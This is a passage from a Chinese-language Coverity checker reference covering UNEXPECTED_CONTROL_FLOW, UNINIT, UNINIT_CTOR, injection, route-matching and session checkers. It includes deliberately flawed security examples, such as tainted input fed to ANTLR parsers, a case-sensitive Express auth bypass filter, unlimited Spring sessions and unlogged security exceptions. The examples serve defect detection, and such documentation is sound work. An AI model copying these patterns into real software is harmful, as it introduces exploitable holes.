UNEXPECTED\_CONTROL\_FLOW 报告使用影响流经整个程序的若干 idiom 的情况，它们很可能具有意想不到或错误的含义，UNREACHABLE 或 MISSING\_BREAK 情况除外。检测到的每种模式的详细描述位于下面“选项”部分中控制每种模式的报告的选项下。

默认启用：UNEXPECTED\_CONTROL\_FLOW 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.322.2. 选项

本部分描述了一个或多个 UNEXPECTED\_CONTROL\_FLOW 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- UNEXPECTED\_CONTROL\_FLOW:report\_continue\_in\_do\_while\_false:<boolean>  
- 当此选项为 true 时，如果在包含常量“false”条件的“do-while”循环中使用“continue”，或在其他语言中代表“do-while”循环的等效循环中，允许值表示“false”，甚至是“continue”名称本身，则该检查器会报告缺陷。此类代码的行为与预期不同，因为“continue”会导致立即重新检查循环条件。因此，如果包含常量“false”循环条件，“continue”具有与“break”相同的作用。默认值为 UNEXPECTED\_CONTROL\_FLOW:report\_continue\_in\_do\_while\_false:true（适用于 C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Ruby、TypeScript、Visual Basic 和 Swift）。

考虑此示例适用于 C、C++、C#、Visual Basic、Java，以及在略微修改的情况下适用于 JavaScript、PHP 和 TypeScript：

```
bool forgiving = false; // Start less flexible.
do {
 if (!tryIt(forgiving) && !forgiving) {
 forgiving = true;
 continue; // [intend to] Try again, more flexibly.
 }
} while (false); // [The loop will never proceed past this point.]
```

循环本体仅进入一次，即使很明显程序员期望“continue”重复进入循环本体。

在 Swift 中，该模式为“repeat { ... continue ... } while false”，而在 Ruby 中，该模式为“begin ... next ... end while false”。请注意，Ruby 的“redo”内置在不检查循环条件的情况下跳转回循环本体的开头。

考虑此示例适用于 Visual Basic：

```
Dim forgiving As Boolean = False ' Start less flexible.
```

```

Do
If Not tryIt(forgiving) AndAlso Not forgiving Then
forgiving = True
Continue Do ' [intend to] Try again, more flexibly.
End If
Loop While False ' [The loop will never proceed past this
point.]
```

- UNEXPECTED\_CONTROL\_FLOW:report\_ignored\_exception\_to\_optional:<boolean> - 当此仅限 Swift 选项为 true 时，如果“try?”表达式被用作舍弃结果的语句时，则该检查器会报告缺陷。在 Swift 中，“try?”的目的是将发生的异常转换为 nil 可选值，表明未正常完成表达式求值。舍弃该可选值意味着当发生异常时，它会被捕获并静默忽略。如果忽略异常并不是本意，这可能是一个难以诊断的问题。默认值为 UNEXPECTED\_CONTROL\_FLOW:report\_ignored\_exception\_to\_optional:true ( 仅限 Swift 选项 )。

由于忽略结果的“try?”在语法上与“try”或“try!”非常相似，但含义却大不相同，因此非常方便将它作为缓和编译器的临时措施，这样做也非常巧妙。该检查器默认假设舍弃结果的“try?”的意图最多是不清楚，因此值得检测。

```

try? thrower() // defect reported
try! thrower() // no defect
_ = try? thrower() // no defect; clear intent
do {
 try thrower() // no defect; clear intent
} catch {
 // ignore
}
```

- UNEXPECTED\_CONTROL\_FLOW:report\_useless\_defer:<boolean> - 当此仅限 Swift 选项为 true 时，如果“defer”语句不以可观察的方式推迟执行，则该检查器会报告缺陷。换句话说，此模式的缺陷表明从延迟块中抽取语句并将其移除将导致相同的可观察程序行为。因为此类“defer”是“无用的”，它很可能不执行预期程序行为。默认值为 UNEXPECTED\_CONTROL\_FLOW:report\_useless\_defer:true ( 仅限 Swift 选项 )。

示例 1：

```

if let mylog = log {
 mylog.enter();
 defer { mylog.leave(); } // defect reported
}
```

在这种情况下，意图显然是在当前函数结尾的日志（如果非 nil）中调用“leave”，但是在退出封闭块范围（与“if”关联的“{ }”，而不是顶层函数范围）时执行了延迟代码。因此，“mylog.leave()”并没有推迟。您不能有条件地推迟代码，但可以推迟条件代码。因此，在“if”之外解除“defer”，并且在“defer”内再次检查相同的条件是恰当的解决方案。

```

func compare(_ other : Widget) -> Int {
 log.enter();
 defer { log.leave(); } // defect reported
```

```
// What was going to go here?
return 0
}
```

在这种情况下，推迟是善意的，但它后面的代码无关紧要，因此推迟实际上是无用的。显然没有实现将更多的代码放入此函数中的意图。因此，在这种情况下，“defer”的无用性揭示了“defer”之后的代码的缺乏，而不是“defer”本身。

## 4.323. UNINIT

质量、安全检查器

### 4.323.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

UNINIT 查找使用未初始化变量的很多情况。栈变量除非经过初始化，否则没有设定值。使用未初始化的变量可能导致无法预测的行为、崩溃和安全漏洞。

此检查器可查找未初始化的栈变量和动态分配的堆内存。它可以跟踪原语类型变量、结构字段和数组元素。请注意，如果采用了变量的地址，将停止变量的初始化跟踪。

UNINIT 在变量被声明后开始对其进行跟踪，并在所有调用链中跟踪它，以检查其是否存在未初始化即使用的情况。与 DEADCODE 一样，您可以使用代码行注解抑制 UNINIT 事件和减少误报。（适用于所有语言）。

默认启用：UNINIT 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.323.2. 示例

本部分提供了一个或多个 UNINIT 示例。

```
int uninit_example1(int c) {
 int x;
 if(c)
 return c;
 else
 return x; // defect: "x" is not initialized
}
```

```
int result;
int uninit_example2(int c) {
 int *x;
 if(c)
 x = &c;
 use (x); // defect: uninitialized variable "x" and "*x" used in call
}

void use (int *x) {
 result = *x+2;
```

```
}
```

```
int result;
int uninit_example3() {
 int x[4];
 result = x[1]; // defect: use of uninitialized value x[1]
}
```

```
int result;
struct A {
 int a;
 int *b;
};

int uninit_example4() {
 struct A *st_x;
 st_x = malloc (sizeof(struct A)); // Dynamically allocate struct
 partially_init(st_x);
 use (st_x); // defect: use of uninitialized variable st_x->b
}

void partially_init(struct A *st_x) {
 st_x->a = 0;
}

void use (struct A *st_x) {
 result = *st_x->b;
}
```

### 4.323.3. 选项

本部分描述了一个或多个 UNINIT 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- UNINIT:assume\_loop\_always\_taken:<boolean> - 当此选项被设置为 false 时，UNINIT 将分析在不完全确定是否执行了循环的情况下绝不执行循环本体的路径。默认值为 UNINIT:assume\_loop\_always\_taken:true (适用于所有语言)。

如果 cov-analyze 的 --aggressiveness-level 选项被设置为 high，此检查器选项会被自动设置为 false。

- UNINIT:allow\_unimpl:<boolean> - 当此选项被设置为 true 时，UNINIT 会假设未实现的函数不执行任何初始化。默认值为 UNINIT:allow\_unimpl:false (适用于所有语言)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- UNINIT:check\_arguments:<boolean> - 当此选项被设置为 true 时，UNINIT 会在任何函数的参数未初始化时报告缺陷。默认值为 UNINIT:check\_arguments:false (适用于所有语言)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) , 则该检查器选项会自动设置为 true 。

- UNINIT:check\_malloc\_wrappers:<boolean> - 默认情况下 , UNINIT 会跟踪通过对 malloc() 或 new() 的调用分配的动态内存。但是 , UNINIT 不会跟踪通过 malloc() 或 new() 周围的封装类分配的内存。此外 , UNINIT 也不跟踪地址被传递给被调用方 , 然后被调用方为该地址分配内存的变量的内存。如果启用此选项 , UNINIT 将跟踪此内存 , 并在检测到该内存未经初始化即被使用时报告缺陷。误报率较高 , 因为 UNINIT 无法确定这些封装类或分配函数已分配和初始化的内存。默认值为 UNINIT:check\_malloc\_wrappers:false ( 适用于所有语言 ) 。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high , 则该检查器选项会自动设置为 true 。

- UNINIT:check\_mayreads:<boolean> - 当此选项被设置为 true 时 , UNINIT 会针对可能被沿着调用函数中的路径读取的结构字段报告缺陷。默认值为 UNINIT:check\_mayreads:false ( 适用于所有语言 ) 。

在下面的代码示例中 , 在调用的函数中读取 st->a 。

```
void bar(struct St21443 *st) {
 int x = st->a;
}

void foo() {
 struct St21443 st;
 func21443(&st);
}
```

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) , 则该检查器选项会自动设置为 true 。

- UNINIT:enable\_deep\_read\_models:<boolean> - 当此选项被设置为 true 时 , UNINIT 会执行更深入的全局分析 : 它会跟踪变量在被调用方深度大于 1 时的使用情况。这可以增加报告的缺陷数量 , 但也可能因为跟踪全局环境的不充分性而导致更多误报。默认值为 UNINIT:enable\_deep\_read\_models:false ( 适用于所有语言 ) 。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) , 则该检查器选项会自动设置为 true 。

- UNINIT:enable\_parm\_context\_reads:<boolean> - 当此选项被设置为 true 时 , UNINIT 会针对需要遵守其他参数值之约束的被调用方中的未初始化结构字段报告缺陷。默认值为 UNINIT:enable\_parm\_context\_reads:false ( 适用于所有语言 ) 。

在下面的代码示例中 , 没有缺陷 : 由于第二个参数上的条件 , 因此未读取 st->a 。但是 , 仅当此选项设置为 true 时 , 分析才会跟踪此上下文。如果没有此选项 , 则会导致发生误报。

```
void bar(struct St21443 *st, int a) {
 if (a > 0) {
 int x = st->a;
 }
}
```

```

}

void foo() {
 struct St21443 st;
 func21443(&st, 0);
}

```

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) , 则该检查器选项会自动设置为 true 。

- UNINIT:enable\_write\_context:<boolean> - 默认情况下 , UNINIT 不区分被调用方可以在其中初始化参数或参数字段的全局环境。为避免过多误报 , 如果至少在被调用方的一个路径中发现参数初始化 , 则 UNINIT 不报告缺陷。此选项放宽了此限制 , 并跟踪全局初始化的上下文。该检查器将报告更多缺陷 , 也可能由于全局环境跟踪的近似性而导致更多误报。默认值为 UNINIT:enable\_write\_context:false ( 适用于所有语言 ) 。

看下面的这个代码示例 : 如果没有此选项 , 则检查器不会检查 bar 中初始化的上下文 , 假定它始终初始化 st->a ( 因为有一些路径初始化它 ) 。在此代码段中 , 它会导致漏报 , 因为在此代码段中 , st->a 仍未初始化 ( bar 的第二个参数不大于零 ) 。设置此选项后 , 检查器肯定会检查初始化的上下文 , 因此不会漏报此缺陷。但是 , 整个代码可能会产生许多误报。

```

void bar(struct St21443 *st, int a) {
 if (a > 0) {
 st->a = 1;
 }
}

void foo() {
 struct St21443 st;
 func21443(&st, 0);
 int x = st.a; // uninit
}

```

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) , 则该检查器选项会自动设置为 true 。

#### 4.323.4. 事件

本部分描述了 UNINIT 检查器生成的一个或多个事件。

- var\_decl - 可能未初始化的变量刚刚被声明。如果您确定特定变量始终会被初始化 , 并且 Coverity 分析无法检测到此情况 , 请抑制此事件。请注意 , 如果抑制此事件 , 您绝不会收到关于未初始化即使用此变量的缺陷。
- uninit\_use - 使用了未初始化的变量。如果这实际上并不是未初始化即使用变量 , 请抑制此事件。
- uninit\_use\_in\_call - 在被调用方中使用了未初始化的变量。在找到并分析了被调用方来源的情况下 , 代码浏览器中的详情 (details) 链接将转到使用该变量的被调用方行。对于未实现的函数 , 所传递参数的值被认为用于该函数。如果这实际上并不是未初始化即使用变量 , 请抑制此事件。

### 4.323.5. 原语

以下原语与该检查器搭配使用可以注入属性而不涉及 RESOURCE\_LEAK 检查器。

```
__coverity_mark_as_uninitialized_buffer__
```

下面的示例展示了从何处插入原语可标记不分配内存的函数。

```
char* uninit_source() {
 static char *p;
 __coverity_mark_as_uninitialized_buffer__(p);
 return p;
```

## 4.324. UNINIT\_CTOR

质量检查器

### 4.324.1. 概述

支持的语言：. C++

UNINIT\_CTOR 检查器可查找类或结构的非静态数据成员实例，该数据成员在类或结构中而不是在父类中被声明，而且未在构造函数中初始化。

类的构造函数通常需要遵守初始化类的所有成员的约定。这是非常常见的编码标准。未初始化的数据成员是不安全的，因为调用成员函数可以直接（如果是公开的）或通过成员函数访问它们。这些缺陷可能导致访问未初始化的变量时发生常见问题，例如随意地破坏程序地址空间内的数据。

该检查器会从初始化列表开始全局跟踪每个未初始化的成员。该检查器将沿着构造函数内的所有调用栈跟踪成员变量，检查初始化情况。构造函数内的所有路径都执行此操作。由于被调用方不将全局环境传递给调用方，因此 cov-make-library 命令无法减少来自 UNINIT\_CTOR 分析的误报。与 UNINIT 一样，减少 UNINIT\_CTOR 误报的最佳方法是使用代码行注解抑制相应事件。

默认启用：UNINIT\_CTOR 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.324.2. 示例

本部分提供了一个或多个 UNINIT\_CTOR 示例。

下面的示例显示了未初始化数据成员的构造函数。

```
class Uninit_Ctor_Example1 {
 Uninit_Ctor_Example1(int a) : m_a(a) {
 // Defect: m_p not initialized in constructor
 }

 int m_a;
```

```
 int *m_p;
};
```

下面的示例显示了未初始化数据成员的构造函数及其被调用方。

```
class Uninit_Ctor_Example2 {
 Uninit_Ctor_Example2(int a) : m_a(a) {
 init();
 // Defect: m_c not initialized in constructor
 }

 void init() {
 m_b = 0;
 }

 int m_a, m_b, m_c;
};
```

下面的示例产生了 `member_not_init_in_gen_ctor` 事件。

```
class HasCtor {
 int m;
public:
 HasCtor() : m(0) {}
};

class HasOnlyGenCtor : public HasCtor {
 int *p;
};

HasOnlyGenCtor hogc;
```

在此处，编译器将为 `HasOnlyGenCtor` 生成 ctor，因为它具有包含 ctor 的基类，但不是其自身的类之一。因此，`p` 不会被编译器生成的 ctor 初始化。

#### 4.324.3. 选项

本部分描述了一个或多个 `UNINITCTOR` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `UNINITCTOR:allow_unimpl:<boolean>` - 当此 C++ 选项为 `true` 时，该检查器会将未实现的函数视为它们没有初始化任何内容。默认为 `false`。  
如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。
- `UNINITCTOR:assume_vararg_writes_to_pointer:<boolean>` - 当此 C++ 选项为 `true` 时，如果 `this` 指针被传递给可变参数函数（可使用不同数量参数的函数），并且该可变参数函数在构造函

数中被调用，该检查器不会报告缺陷。如果遇到由于可变参数函数执行初始化导致的误报，您可以使用此选项。默认值为 UNINITCTOR:assume\_vararg\_writes\_to\_pointer:false

- UNINITCTOR:ctor\_func:<function\_name> - 此 C++ 选项指定一组方法名称作为简单标识符（无范围限定符、无参数类型），以将其视为构造函数。如果类具有至少一个方法使用此组中的名称，则会检查具有此类名称的方法，以确保它们初始化了所有成员（无论 ignore\_empty\_constructors 和 ignore\_priv\_prot\_constructors 选项为何），但不检查实际构造函数。当代码库包含一些具有专用 init 或类似方法（充当构造函数，实际构造函数不起任何作用）的类时，此选项很有用。默认值未设置。
- UNINITCTOR:ignore\_array\_members:<boolean> - 当此 C++ 选项为 true 时，该检查器不会报告未在构造函数中初始化的数组字段中的缺陷。默认值为 UNINITCTOR:ignore\_array\_members:false
- UNINITCTOR:ignore\_empty\_constructors:<boolean> - 当此 C++ 选项为 true 时，该检查器不会报告空构造函数中的缺陷。默认值为 UNINITCTOR:ignore\_empty\_constructors:false
- UNINITCTOR:ignore\_priv\_prot\_constructors:<boolean> - 当此 C+ + 选项为 true 时，该检查器不会报告私有和受保护构造函数中的缺陷。默认值为 UNINITCTOR:ignore\_priv\_prot\_constructors:false
- UNINITCTOR:report\_compiler\_bugs:<boolean> - 当此 C++ 选项为 true 时，该检查器将在根据 C++ 语言规则应该对成员进行值初始化，但某些编译器由于这些编译器中的程序缺陷未将其初始化时报告缺陷。当此选项为 false 时，该检查器不会报告此类缺陷。当该选项未设置时，如果在通过 cov-configure 或 cov-build 配置编译器时，确定本机编译器的版本似乎存在程序缺陷，该检查器将报告此类成员。默认值未设置。

示例：

```
struct NotPOD {
 NotPOD() : member(4) { }
 int member;
};

struct Base {
 int i;
 char c;
 NotPOD notpod;
};

struct Derived : Base {
 Derived() : Base() { } // 'i' and 'c' are uninitialized!
};
```

如果将 GCC 或 Visual C++ 编译器与 cov-build 配合使用，将自动报告此类程序缺陷。要无条件启用报告（例如，用于其他编译器），请使用 report\_compiler\_bugs:true。要无条件禁用报告（例如，如果使用了 GCC 并且不关注这些程序缺陷），请使用 report\_compiler\_bugs:false。

- UNINITCTOR:report\_on\_default\_constructor\_without\_private\_members:<boolean> - 如果为 true，则当编译器生成的默认构造函数无法初始化某些成员时，即使没有任何类或结构成员是私有的，此选项也会导致检查器报告缺陷。默认值为 UNINITCTOR:report\_on\_default\_constructor\_without\_private\_members:false；当攻击级别较高时，将激活此选项。

- UNINIT\_CTOR:report\_scalar\_arrays:<boolean> - 当此 C++ 选项为 true 时，它会开启跟踪标量 1 维 (1-D) 数组的功能。中等和更高的攻击性级别也会开启跟踪这些数组的功能。请注意，绝不会跟踪 2 维数组。默认值为 UNINIT\_CTOR:report\_scalar\_arrays:false

前面的选项特定于此检查器；它们不影响全局分析选项或其他检查器。

要启用这些选项，请使用以下分析选项：

```
--checker-option UNINIT_CTOR:<option>
```

#### 4.324.4. 事件

本部分描述了 UNINIT\_CTOR 检查器生成的一个或多个事件。

- member\_not\_init\_in\_gen\_ctor - 编译器将为此类生成构造函数，但生成的构造函数不会初始化这些 plain old data (POD) 字段。请参阅 Section 4.324.2，“示例”中生成此事件的示例。
- uninit\_member - 类成员或类字段未在构造函数中沿此路径初始化。该事件发生在构造函数中路径的结尾。如果特殊变量始终在使用前初始化（可能在构造函数外部），则抑制此事件，以表明声明位置不是可能未初始化的成员的声明。抑制此事件是最严格的抑制方法。如果此成员在任何构造函数中都未针对该类进行初始化，您绝不会收到错误。
- member\_decl - 类成员在构造函数的路径中未初始化。如果相应的特定路径确实包含初始化，或者缺少初始化确实被认为是良性的（这可能是因为在构造函数外部使用之前对其进行正确初始化），则恰当的解决方法是抑制此事件。

### 4.325. UNINIT\_NONNULL

质量

#### 4.325.1. 概述

支持的语言：. Java

UNINIT\_NONNULL 检查器报告被注解为非 null，但构造函数没有分配非 null 值的字段。类字段可以使用公共注解类（如 @NonNull 或 @NotNull）注解为非 null。非 null 字段在类构造函数之外不应具有 null 值。每个构造函数在开始时都隐式地将此实例的所有字段初始化为 null，但是非 null 字段在构造函数结束时应该被分配非 null 值。如果构造函数未初始化非 null 注解的字段（隐式初始化为 null），则使用该类的其他代码可能引用该字段而不进行 null 检查，从而导致 null 指针异常。

默认禁用：UNINIT\_NONNULL 默认禁用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

- UNINIT\_NONNULL 可以使用 -en UNINIT\_NONNULL 选项启用。没有其他选项启用它。

#### 4.325.2. 缺陷剖析

UNINIT\_NONNULL 缺陷的主事件出现在有问题构造函数的最后一个语句中，该构造函数有一个或多个对未初始化字段的引用。其他事件显示在这些字段的声明位置，其中这些字段被注解为非 null。

### 4.325.3. 示例

本部分提供了一个或多个 UNINIT\_NONNULL 示例。

在下面的示例中，`y` 被注解为非 null，不过，在构造函数的末尾，`y` 没有被分配非 null 值。这在构造函数的最后一个语句中报告。

```
class UninitNonNull
{
 String x;
 @NotNull String y; // "y" is declared non-null.

 UninitNonNull(String a) {
 x = a;
 // "y" is not assigned a non-null value by the end of this constructor,
 // which is reported on the last statement of the constructor.
 }
}
```

## 4.326. UNINTENDED\_GLOBAL

### 质量检查器

#### 4.326.1. 概述

支持的语言：. JavaScript、TypeScript

UNINTENDED\_GLOBAL 查找为隐式创建的全局变量赋值（其原本意图是显式声明本地变量）的情况。

默认启用：UNINTENDED\_GLOBAL 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.326.2. 示例

本部分提供了一个或多个 UNINTENDED\_GLOBAL 示例。

下面的示例将 “something” 赋值给本地变量 `x` 和全局变量 `y`。原本的目的可能是想声明两个本地变量：`x` 和 `y`。

```
function assignVars() {
 var x = y = "something"; //Defect
}
```

#### 4.326.3. 事件

本部分描述了 UNINTENDED\_GLOBAL 检查器生成的一个或多个事件。

- `assign_to_global` - 由于 `<var>` 不会在此函数中被声明，因此此赋值隐式定义了全局变量。

## 4.327. UNINTENDED\_INTEGER\_DIVISION

质量检查器

### 4.327.1. 概述

支持的语言： C、C++、C#、Go、Java、Objective-C、Objective-C++ 和 Scala

UNINTENDED\_INTEGER\_DIVISION 可检测由于使用整数除法（可能原本要使用浮点除法）而意外损失了算术运算精度的代码。根据语言规则，对两个整数型的值（`long`、`unsigned` 等）执行除法运算实际可计算出整数商（整数除法），舍入到零或忽略任何余数。在期望浮点值的环境中执行整数除法是可疑行为，因为程序员可能期望显示非整数商。该检查器将在它发现该模式以及至少一项表明可能原本想要小数商的证据时报告缺陷。

默认启用： UNINTENDED\_INTEGER\_DIVISION 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.327.2. 示例

本部分提供了一个或多个 UNINTENDED\_INTEGER\_DIVISION 示例。

#### 4.327.2.1. C、C++、C#、Java、Objective-C 和 Objective-C++

```
// Sets PI_APPROX to 3.0!
double PI_APPROX = 22 / 7; // Defect here.
```

```
// Rounds toward zero (and adds 1 to negative results)!
int roundedAverage(int a, int b) {
 return (int)(0.5 + ((a + b) / 2)); // Defect here.
}
```

#### 4.327.2.2. Go

在下面的示例中，赋值语句导致了 UNINTENDED\_INTEGER\_DIVISION 缺陷。

```
func foo() float32 {
 var f float32 = 23 / 5
 return f
}
```

#### 4.327.2.3. Scala

```
var f : Float = 22 / 7
```

### 4.327.3. 事件

本部分描述了 UNINTENDED\_INTEGER\_DIVISION 检查器生成的一个或多个事件。

- `integer_division` - [C、C++、C#、Go、Java、Objective-C、Objective-C++ 和 Scala] 主要事件：识别整数除法运算的位置。
- `remediation` - [C、C++、C#、Go、Java、Objective-C、Objective-C++ 和 Scala] 提供关于修复问题的指导。

## 4.328. UNKNOWN\_LANGUAGE\_INJECTION

安全检查器

### 4.328.1. 概述

支持的语言：. Java、C#

`UNKNOWN_LANGUAGE_INJECTION` 查找未知的语言注入漏洞；当不受控制的动态数据被传递给相应 API（通过分析或标记化为相应语言创建语法）时，就会产生此类漏洞。ANTLR API 就是一个示例。当注入的数据被插入到语法构造本身中时，该数据可能会更改语法的目的，从而可能导致未经授权地访问或披露信息。

默认禁用：`UNKNOWN_LANGUAGE_INJECTION` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `UNKNOWN_LANGUAGE_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

### 4.328.2. 示例

本部分提供了一个或多个 `UNKNOWN_LANGUAGE_INJECTION` 示例。

#### 4.328.2.1. C#

```
using System.Web;
using Antlr4.Runtime;

public class UnknownLanguageInjection {

 void example(WebRequest req)
 {
 string tainted_data = req["SomeParameter"];

 var antlr_is = new AntlrInputStream(tainted_data); // Defect here

 // Lex and parse input stream
 SearchLexer lexer = new SearchLexer(antlr_is);
 CommonTokenStream commonTokenStream = new CommonTokenStream(lexer);
 SearchParser parser = new SearchParser(commonTokenStream);

 // Parse and consume result...
 }
}
```

```
}
```

#### 4.328.2.2. Java

在下面的示例中，被污染的参数 `texte` 被传递给方法 `parse`。它会经过几次转换，例如 HTML 编码。然后向该值传递了 `ANTLRStringStream.<init>`（此检查器的数据消费者）。

```
public String parse(String texte) throws EdlCodeEncodageException{
 texte = this.replaceSmiley(texte, getContextPath());
 texte = this.replaceBigadin(texte);
 texte = HtmlEncoder.encode(texte);
 texte = this.replaceCaractereHTML(texte);
 EdlCodeLexer lexer = new EdlCodeLexer(new ANTLRStringStream(texte));
 ...
}
```

攻击者可以指定任意值，这些值可能会影响标记化或分析的执行方式。但是，如果分析器的目的是为了分析被污染的数据，针对示例中所示代码的缺陷报告在 Coverity Connect 中应该分类为“特意”(intentional)。

#### 4.328.3. 事件

本部分描述了 UNKNOWN\_LANGUAGE\_INJECTION 检查器生成的一个或多个事件。

- `sink` - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- `remediation` - 提供关于修复安全漏洞的信息。

##### 数据流事件

- `member_init` - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- `object_construction` - 使用被污染的数据创建类实例。
- `subclass` - 创建了类实例以用作超类。
- `taint_alias` - 为被污染的对象设置了别名。
- `taint_path` - 将被污染的值赋值给本地变量。
- `taint_path_arg` - 将被污染的值作为方法的参数。
- `taint_path_attr` - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。

- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

## 4.329. UNLESS\_CASE\_SENSITIVE\_ROUTE\_MATCHING

### 4.329.1. 概述

支持的语言：. JavaScript、TypeScript

`UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` 检查器报告通过包含区分大小写的负正则表达式的 `path` 参数在 Express 应用程序中调用 `unless` 函数的情况。这可能允许攻击者通过使用具有不同大小写的字符的路由绕过所提供的路由筛选。

`UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` 检查器默认禁用。您可以使用 `cov-analyze` 命令的 `webapp-security` 选项启用它。

### 4.329.2. 示例

本部分提供了一个或多个 `UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` 示例。

在下面的示例中，针对被设置为包括区分大小写的负正则表达式的 `path` 属性显示 `UNLESS_CASE_SENSITIVE_ROUTE_MATCHING` 缺陷。

```
var unless = require('express-unless');
var express = require('express');

var app = express();

//define custom basicAuth middleware function
var basicAuth = function(req, res, next){ /* sth */ };

basicAuth.unless = unless;

app.use(basicAuth.unless({path: /^(?!\/user\/).*/}));
 // UNLESS_CASE_SENSITIVE_ROUTE_MATCHING defect
 // ... occurs at the call to app.use()
```

## 4.330. UNLIMITED\_CONCURRENT\_SESSIONS

安全检查器

### 4.330.1. 概述

支持的语言：. Java

UNLIMITED\_CONCURRENT\_SESSIONS 检查器标记由于 maximumSessions 参数在 org.springframework.security.web.authentication.session.ConcurrentSessionControlAuthenticationStrategy 类的 setMaximumSessions 方法中显式设置为 -1 导致并发会话的最大数目不受限制的情况。默认情况下，maximumSessions 参数设置为 1，这是安全设置。不受限制的并发会话可能允许攻击者获取和使用大量服务器资源，从而导致服务器拒绝服务。

UNLIMITED\_CONCURRENT\_SESSIONS 检查器默认禁用。您可以使用 cov-analyze 命令的 --webapp-security 选项启用它。

#### 4.330.2. 示例

本部分提供了一个或多个 UNLIMITED\_CONCURRENT\_SESSIONS 示例。

在下面的示例中，如果在

org.springframework.security.web.authentication.session.ConcurrentSessionControlAuthenticationStrategy 类的 setMaximumSessions 方法中将 maximumSessions 参数显式设置为 -1，将显示 UNLIMITED\_CONCURRENT\_SESSIONS 缺陷。

```
import org.springframework.security.core.session.SessionRegistry;
import
org.springframework.security.web.authentication.session.ConcurrentSessionControlAuthenticationStrategy;

public class UnlimitedConcurrentSessions
{
 private SessionRegistry sessionRegistry;

 public ConcurrentSessionControlAuthenticationStrategy
sessionAuthenticationStrategy1() {
 ConcurrentSessionControlAuthenticationStrategy csca
 = new
ConcurrentSessionControlAuthenticationStrategy(sessionRegistry);
 csca.setExceptionIfMaximumExceeded(true);
 csca.setMaximumSessions(-1); //defect here
 return csca;
 }
}
```

### 4.331. UNLOGGED\_SECURITY\_EXCEPTION

安全检查器

#### 4.331.1. 概述

支持的语言：. C#、Java、Kotlin、Visual Basic

UNLOGGED\_SECURITY\_EXCEPTION 检查器报告被捕获但未记录的安全异常。

此检查器可识别许多具有安全隐患的异常类型；例如，验证失败、CSRF 令牌验证问题、SQL 语法错误、缺少权限等。您还可以自定义此检查器来识别特定于应用程序的异常。

监控攻击并及时作出响应对于限制攻击的严重程度和规模至关重要。充分的日志记录通过提供通知和安全事件的历史记录帮助作出响应。

#### 针对 C#、Java、Visual Basic 启用

默认禁用：UNLOGGED\_SECURITY\_EXCEPTION 默认对 C#、Java 和 Visual Basic 禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：C#、Java、Visual Basic。要启用 UNLOGGED\_SECURITY\_EXCEPTION 与其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 针对 Kotlin 启用

默认启用：UNLOGGED\_SECURITY\_EXCEPTION 默认对 Kotlin 启用。

### 4.331.2. 缺陷剖析

UNLOGGED\_SECURITY\_EXCEPTION 缺陷的主要事件是被捕获的安全异常。此检查器显示一个执行路径，其中异常超出范围而没有任何日志记录。

### 4.331.3. 示例

本部分提供了一个或多个 UNLOGGED\_SECURITY\_EXCEPTION 示例。

#### 4.331.3.1. Java

以下方法捕获与安全有关的异常，但未记录此事件。此检查器将报告 catch 块中的缺陷。

```
void SecurityExceptionHappens() {
 try {
 // ...
 }
 catch (SecurityException e) {
 // do something, but don't log
 }
}
```

记录安全异常将解决以下问题：

```
java.util.logging.Logger logger;

void SecurityExceptionHappens() {
 try {
 // do something
 }
 catch (SecurityException e) {
 logger.warning("[Security] Exception: " + e.toString());
 // continue handling exception
 }
}
```

```
}
```

#### 4.331.3.2. Kotlin

在下面的示例中，`defect` 函数捕获与安全有关的异常，但未记录此事件。此检查器将报告 `catch` 块中的缺陷。

```
class UnloggedSecurityExceptionExample
{
 companion object {
 private val MyLogger = Logger.getLogger("InfoLogging")
 }

 @Throws(IOException::class)
 fun defect(ks:KeyStore, s:InputStream, pw:CharArray) {
 try {
 ks.load(s, pw)
 }
 catch (ade:AccessDeniedException) {
 }
 }
}
```

#### 4.331.3.3. C#

